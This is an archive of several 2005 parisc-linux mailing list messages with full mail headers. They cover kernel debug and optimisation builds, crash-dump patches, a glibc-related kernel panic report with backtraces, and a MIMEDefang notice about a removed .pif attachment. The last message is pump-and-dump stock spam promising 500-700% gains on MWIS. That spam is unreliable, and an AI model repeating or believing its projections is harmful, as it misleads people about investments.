Original-Received: by palinux.hppa (Postfix)
	id A18C0374746; Tue, 26 Jul 2005 10:37:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 344313745BA;
	Tue, 26 Jul 2005 10:37:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6QGb5nV008291; Tue, 26 Jul 2005 12:37:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6QGb4vs008289;
	Tue, 26 Jul 2005 12:37:04 -0400 (EDT)
In-Reply-To: <42E0F61D.5030001@tiscali.be> from "Joel Soete" at Jul 22,
	2005 01:35:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6QOUYuYIeSEkQr6WZHQhaXN1IGRvb0DW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25170

> (but I could never experiment it because of it's so big size: iirc about 60Mb for the 2.4 and this time my dump (swap) area was too 

That doesn't make sense.  The addition of debug info shouldn't change
the size of a core dump.  It's the code and data needed to actual do
the dump that increases the kernel size.

> > I recommend building
> > with -O1 instead of -O2.
> > 
> mmm could it not be too much invasive?

I don't think so.  Optimization shouldn't change code behavior.  While
it's true that a change in execution speed might break some realtime
code, if this happens in linux, it's probably a bug.

> I mean we are going to change completely the insn flow and btw the time diagram as I experiment:
> some weeks ago, I was working on ccio-dma for 64bit kernel on a d380 on which I noticed a dramtic slow down of the boot (more then 
> an hour in place of 5 min for its 32bit twin).

In most cases, there's only a small change in execution speed and sometimes
-O1 is faster.  The above change is abnormally large and suggests that a
major chunk of code is being optimized away.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Mon, 25 Jul 2005 17:04:30 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <IK6V7I$11E53C1570C193922DD3F07FD3623404@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624556 26977 80.91.229.3 (22 Nov 2014 02:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:16 +0000 (UTC)
Cc: carlos <carlos@systemhalted.org>,
 tsg45800 <tsg45800@scarlet.be>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2005 15:04:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 25 Jul 2005 17:04:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AF887D6BF;
	Mon, 25 Jul 2005 09:04:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13085-08; Mon, 25 Jul 2005 09:04:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 169C47D6C3;
	Mon, 25 Jul 2005 09:04:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95AB97D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 09:04:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13038-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 09:04:38 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 23BC87D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 09:04:38 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C8D8A374745; Mon, 25 Jul 2005 09:04:37 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by palinux.hppa (Postfix) with ESMTP id E84E83745BA;
	Mon, 25 Jul 2005 09:04:36 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id j6PF4Uh24537; 
	Mon, 25 Jul 2005 17:04:31 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2JqWYh5TeSEkQb6WZHQhaXN1IGRvb8CB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25171

> On Thu, Jul 21, 2005 at 12:36:27AM -0400, Carlos O'Donell wrote:
> > We need better tools for this... I wonder if we still have lkcd suppo=
rt
> > for hppa.
> 
> I have the "most recent" (2.4.20) patch from Bruno Vidal 
btw is it most recent then stuff available:
<http://ftp.parisc-linux.org/patches>
dump_modules-2.4.20-pa32.patch.gz && crashtools.tar.gz

Thanks,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Listar <listar@txt.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Listar command results: -- Attached file included as
	plaintext by Listar --
Date: Thu, 11 Aug 2005 03:18:33 %z (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <listar-08112005031833.21624.1@falkor>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624556 26981 80.91.229.3 (22 Nov 2014 02:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 07:19:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 11 Aug 2005 09:19:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59F667D6E1;
	Thu, 11 Aug 2005 01:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28527-03; Thu, 11 Aug 2005 01:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C5657D6E7;
	Thu, 11 Aug 2005 01:19:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF7467D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 01:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26365-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 01:19:45 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3868C7D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 01:19:45 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D27C6374961; Thu, 11 Aug 2005 01:19:44 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from falkor.txt.com (static-71-240-121-10.pitt.east.verizon.net
	[71.240.121.10]) by palinux.hppa (Postfix) with ESMTP id 841E3374957
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Aug 2005 01:19:44 -0600 (MDT)
Original-Received: from falkor (falkor [71.240.121.10])
	by falkor.txt.com (8.13.3+Sun/8.13.3) with ESMTP id j7B7IXs7021625
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Aug 2005 03:18:33 -0400 (EDT)
Original-Received: from falkor by falkor (LISTAR/1.0.0);
	Thu, 11 Aug 2005 03:18:33 %z (EDT)
X-listar-antiloop: falkor
Precedence: list
Expiry-Date: Fri, 12 Aug 2005 03:18:33 %z (EDT)
X-Scanned-By: MIMEDefang 2.51 on 71.240.121.10
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S5mIYiZoeSEkYr6WZHQhaXN1IGRvb0B0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25172


>> WARNING: This e-mail has been altered by MIMEDefang. Following this
Unknown command.

>> paragraph are indications of the actual changes made. For more
Unknown command.

>> information about your site's MIMEDefang policy, contact
Unknown command.

>> MIMEDefang Administrator's Full Name <postmaster@localhost>. For more
>> information about MIMEDefang, see:
Unknown command.

>> http://www.roaringpenguin.com/mimedefang/enduser.php3
Unknown command.

>> An attachment named your_letter.pif was removed from this document
>> as it
Unknown command.

>> constituted a security hazard. If you require this document, please
>> contact
Unknown command.

>> the sender and arrange an alternate means of receiving it.
Unknown command.

>> Please read the attached file.
Unknown command.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New debian libc6 2.3.5: glibc bug or kernel bug???
Date: Thu, 11 Aug 2005 11:25:53 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <IL1WV5$C263D00B95D5C9242114A7D700723650@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624556 26984 80.91.229.3 (22 Nov 2014 02:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:16 +0000 (UTC)
To: "parisc-linux" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 09:26:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 11 Aug 2005 11:26:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DBA17D699;
	Thu, 11 Aug 2005 03:26:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29094-06; Thu, 11 Aug 2005 03:26:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41D377D6A5;
	Thu, 11 Aug 2005 03:26:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A6FA7D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 03:25:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28620-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 03:25:55 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D9F3D7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 03:25:55 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 82FF04946ED; Thu, 11 Aug 2005 03:25:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by palinux.hppa (Postfix) with ESMTP id E812A494037
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Aug 2005 03:25:54 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id j7B9PrW24202 
	for <parisc-linux@parisc-linux.org>; Thu, 11 Aug 2005 11:25:53 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +nyJYloOeSEkM76WZHQhaXN1IGRvb4C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25173

Hello all,

As many other reported, I encountered some pb with the recent upgrade of
debian unstable glibc.

Back from some kind holidays, I first tried to rebuild the recent cvs ker=
nel
2.6.13.

On my own c110, while I launched the 'make oldconfig', I noticed this abn=
ormal
(afaik user space wouldn't cause) panic with my custom kernel:
 kernel BUG at mm/mmap.c:????
Backtrace:
[<1015c5e8>] exit_mmap+0x1b8/0x1d8
[<10126614>] mmput+0x44/0xbc
[<1012a928>] do_exit+0xd4/0xa04
[<1012b2bc>] do_group_exit+0x64/0xcc
[<1010d12c>] syscall_exit+0x0/0x14

Kernel panic - not syncing: BUG!

Back to the office, on a d380 running a 2.6.12-pa1 (32bit up), I encounte=
red
the same kind of panic:

kernel BUG at /usr/src/linux-2.6.12-pa1-050620/mm/mmap.c:1937!
Backtrace:
 [<1015d510>] exit_mmap+0x190/0x1cc
 [<101249c4>] mmput+0x44/0xbc
 [<101292ec>] do_exit+0xc0/0x304
 [<101295a0>] do_group_exit+0x40/0xcc
 [<1010d12c>] syscall_exit+0x0/0x14

(fwiw no cpu status dump :-(  in the 2 case)

But I got very different results with other kernels:
    o on c110 with 2.6.8.1-pa7 the same 'make' did a 'Segmentation fault'=

    o on d380 with 2.6.10-pa11 (32bit up) the same 'Segmentation fault'
any way what is very weird:
    o on b2k with 2.6.11.12-pa4 (32bit gcc-4.0) no pb??? (I can update my=

system smoothly and rebuild the 2.6.13-rc6-pa1 without any pb with libc6
2.3.5-3). (btw boot fine on this system but panicing when 'make menuconfi=
g' too)

Any idea?

Thanks,
    Joel

ps: all system above mentioned are all unstable debian install today
dist-upgraded.




=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elisabeth <Aeneas@fricke.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SmallCap For You to Watch
Date: Thu, 11 Aug 2005 08:18:30 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <38061119326.320569030@cpe-72-224-217-193.maine.res.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624557 26985 80.91.229.3 (22 Nov 2014 02:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 12:18:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 11 Aug 2005 14:18:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE70B7D726;
	Thu, 11 Aug 2005 06:18:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30513-01; Thu, 11 Aug 2005 06:18:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0581E7D720;
	Thu, 11 Aug 2005 06:18:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3571A7D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 06:18:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30303-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 06:18:31 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AA3247D719
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 06:18:31 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 35D8049555F; Thu, 11 Aug 2005 06:18:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpe-72-224-217-193.maine.res.rr.com
	(cpe-72-224-217-193.maine.res.rr.com [72.224.217.193])
	by palinux.hppa (Postfix) with SMTP id 889C3494037
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Aug 2005 06:18:30 -0600 (MDT)
Original-Received: from [80.44.139.121] (port=3168 helo=[quarreling])
	by cpe-72-224-217-193.maine.res.rr.com with esmtp 
	id 5667147398DeKastere87162
	for parisc-linux@parisc-linux.org; Thu, 11 Aug 2005 08:18:31 -0400
X-Mailer: aridity parser
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cieJYuMgeSEkNr6WZHQhaXN1IGRvb4Dm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25174

Looking for a company with some good news?  Here's one!

**MWIS****MWIS****MWIS****MWIS****MWIS****MWIS****MWIS**

+++++++++++++++++++++++++++++++++++++++++++++++
Investor Alert - WE HAVE A RUNNER
+++++++++++++++++++++++++++++++++++++++++++++++


WE ARE LOOKING FOR A HUGH THURSDAY $$$$$

SYMBOL: MWIS.OB
CURRENT PRICE: .15
1 WEEK PROJECTION .75

THIS IS THE ONE THAT COULD MAKE YOU 500-700% PROFIT (see news release)

M-Wise Announces New European License of Content Management and Delivery Platform
Thursday August 4, 8:49 am ET
MobilityZone Will Use Platform to Provide Java Games to Customers of a Leading European Operator

WILMINGTON, Del., Aug, 2005 (PRIMEZONE) -- M-Wise, Inc. (OTC BB:MWIS.OB - News),
a leading technology provider of mobile content solutions for operators, ASPs
and content providers, today announced that its MOMA platform has been selected
by MobilityZone for content management and delivery. MobilityZone, based in Israel,
develops, produces and maintains one of the largest, up-to-date catalogs of licensed
content from all of the major publishing companies and other top producers.
Recently, MobilityZone secured a deal with a leading European mobile operator
to provide its customers with Java Games and will use m-Wise's MOMA content management
and delivery platform to host, manage and deliver games for its clients.

MobilityZone serves wireless operators and other clients by supplying them with services
that are optimally designed to significantly increase operator revenues, attract new
and existing customers and enhance the network's image and positioning. Its services are
uniquely designed to be modular and can support and operate opposite any existing
platform or infrastructure.

"We are delighted to work with m-Wise to enhance our content delivery offering.
We selected the MOMA content delivery platform because of its ability to effectively handle
the needs and demands of our clients," said Eran Aviv, joint managing director of MobilityZone.
A study from The ARC Group, specializing in providing worldwide technology
and market analysis, research on the communications industry, estimates that ring tones
now account for more than 10 percent of the $32.3 billion in sales from music market worldwide.
The firm also forecasted that the global market for ring tones will grow to $5.2 billion
in 2006 and gaming will reach $8.3 billion in 2008, an increase from $2.4 billion in 2004.

Last time we issued a Investor Alert and watched it climb from $2.00 to
$8.00 faster than you can count the ways to spend your money.
Now MWIS is on the on the move.
We urge you to keep a WATCH on (MWIS) on Thursday.







Disclaimer:
Information within this email contains "forwardlooking statements" within
the meaning of Section 27Aof the Securities Act of 1933 and Section 21B of
the Securities Exchange Act of 1934. Any statements that express or involve
discussions with respect to predictions, expectations, beliefs,
plans, projections, objectives, goals, assumptions or future events or
performance are not statements of historical fact and may be "forward
looking statements". "Forward looking statements" are based on
expectations, estimates and projections at the time the statements are made
that involve a number of risks and uncertainties which could cause actual
results or events to differ materially from those presently anticipated.
Forward looking statements in this action may be identified through the use
of words such as "projects", "foresee", "expects", "will", "anticipates",
"estimates", "believes", "understands" or that by statements indicating
certain actions "may", "could", or "might" occur. Risk factors include
general economic and business conditions, the ability to acquire and develop
specific projects, the ability to fund operations and changes in consumer
and business consumption habits and other factors overwhich the company has
little or no control. The publisher of this newsletter does not represent
that the information contained in this message states all material facts or
does not omit a material fact necessary to make the statements therein not
misleading. All information provided within this email pertaining to
investing, ST0CKs, securities must be understood as information provided and
not investment advice. The publisher of this newsletter advises all readers
and subscribers to seek advice from a registered professional securities
representative before deciding to trade in ST0CKs featured within this
email. None of the material within this report shall be construed as any
kind of investment advice or solicitation. Many of these companies are on
the verge of bankruptcy. You can lose all your money by investing in this
ST0CK. We urge you to read the company's SEC filings now, before you invest.
